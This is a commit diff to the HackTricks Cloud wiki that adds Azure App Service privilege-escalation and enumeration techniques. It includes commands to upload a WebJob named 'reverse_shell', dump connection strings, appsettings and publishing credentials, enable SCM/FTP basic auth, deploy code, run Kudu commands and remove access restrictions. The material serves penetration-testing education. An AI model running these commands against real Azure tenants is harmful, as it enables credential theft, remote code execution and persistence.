mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
app services
This commit is contained in:
@@ -10,18 +10,18 @@ For more information about Azure App services check:
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
These permissions allows get a **SSH shell** inside a web app. They also allow to **debug** the application.
|
||||
|
||||
- Direct option:
|
||||
- **SSH in single command**:
|
||||
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
- **Create tunnel and then connect to SSH**:
|
||||
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
@@ -36,6 +36,180 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
- **Debug the application**:
|
||||
1. Install the Azure extension in VScode.
|
||||
2. Login in the extension with the Azure account.
|
||||
3. List all the App services inside the subscription.
|
||||
4. Select the App service you want to debug, right click and select "Start Debugging".
|
||||
5. If the app doesn0t have debugging enabled, the extnsion will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
|
||||
|
||||
|
||||
### Microsoft.Web/sites/publish/Action | SCM credentials
|
||||
|
||||
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
|
||||
|
||||
- Read **Webjobs** logs:
|
||||
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
|
||||
- Create **continuous Webjob**:
|
||||
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
|
||||
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
|
||||
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -237,7 +237,7 @@ ngrok http 8000
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.
|
||||
|
||||
```bash
|
||||
# Modify the function
|
||||
@@ -345,17 +345,6 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
@@ -366,14 +355,14 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code.
|
||||
|
||||
However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it:
|
||||
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
|
||||
@@ -12,7 +12,46 @@ Each app runs inside a sandbox but isolation depends upon App Service plans
|
||||
- Apps in Standard and Premium tiers run on dedicated VMs
|
||||
|
||||
> [!WARNING]
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
|
||||
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **escalate privileges to them**.
|
||||
|
||||
Apps have some interesting configurations:
|
||||
|
||||
- **Always On**: Ensures that the app is always running. If not enabled, the app will stop running after 20 minutes of inactivity and will start again when a request is received.
|
||||
- This is essential if you have a webjob that needs to run continuously as the webjob will stop if the app stops.
|
||||
- **SSH**: If enabled, a user with enough permissions can connect to the app using SSH.
|
||||
- **Debugging**: If enabled, a user with enough permissions can debug the app. However, this is disabled automatically every 48h.
|
||||
- **Web App + Database**: The web console allows to create an App with a database. In this case it's possible to select the database to use (SQLAzure, PostgreSQL, MySQL, MongoDB) and it also allows you to create an Azure Cache for Redis.
|
||||
- The URL containing the credentials for the database and Redis will be stored in the **appsettings**.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
|
||||
It's possible to connect to the SCM using a web browser in `https://<SMC-URL>/BasicAuth` and check all files and deployments in there.
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu is a **deployment engine and management platform for Azure App Service and Function Apps**, providing Git-based deployments, remote debugging, and file management capabilities for web applications. It's accessible through the SCM URL of the web app.
|
||||
|
||||
Note that the Kudu versions used by App Services and by Function Apps are different, being the version of the Function apps much more limited.
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs are **background tasks that run in the Azure App Service environment**. They allow developers to execute scripts or programs alongside their web applications, making it easier to handle asynchronous or time-intensive operations such as file processing, data handling, or scheduled tasks.
|
||||
There are 2 types of web jobs:
|
||||
- **Continuous**: Runs indefinitely in a loop and it’s triggered as soon as it’s created. It’s ideal for tasks that require constant processing. However, if the app stops running because Always On is disabled and it hasn’t received a request in the last 20mins, the web job will also stop.
|
||||
- **Triggered**: Runs on-demand or based on a schedule. It’s best suited for periodic tasks, such as batch data updates or maintenance routines.
|
||||
|
||||
Webjobs are very interesting from an attackers perspective as they could be used to **execute code** in the environment and **escalate privileges** to the attached managed identities.
|
||||
|
||||
Moreover, it's always interesting to check the **logs** generated by the Webjobs as they could contain **sensitive information**.
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots are used to **deploy different versions of the application** to the same App Service. This allows developers to test new features or changes in a separate environment before deploying them to the production environment.
|
||||
|
||||
Moreover, it's possible to route a **percentage of the traffic** to a specific slot, which is useful for **A/B testing**, and for backdoor purposes.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
@@ -20,18 +59,6 @@ Basically **Azure Function apps are a subset of Azure App Service** in the web a
|
||||
|
||||
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
|
||||
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
|
||||
|
||||
- Authentication: az webapp auth show --name lol --resource-group lol_group
|
||||
|
||||
SSH
|
||||
|
||||
Always On
|
||||
|
||||
Debugging
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -41,9 +68,10 @@ Debugging
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -52,18 +80,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -76,8 +110,12 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
@@ -85,52 +123,23 @@ az webapp config container show --name <name> --resource-group <res-group>
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
Reference in New Issue
Block a user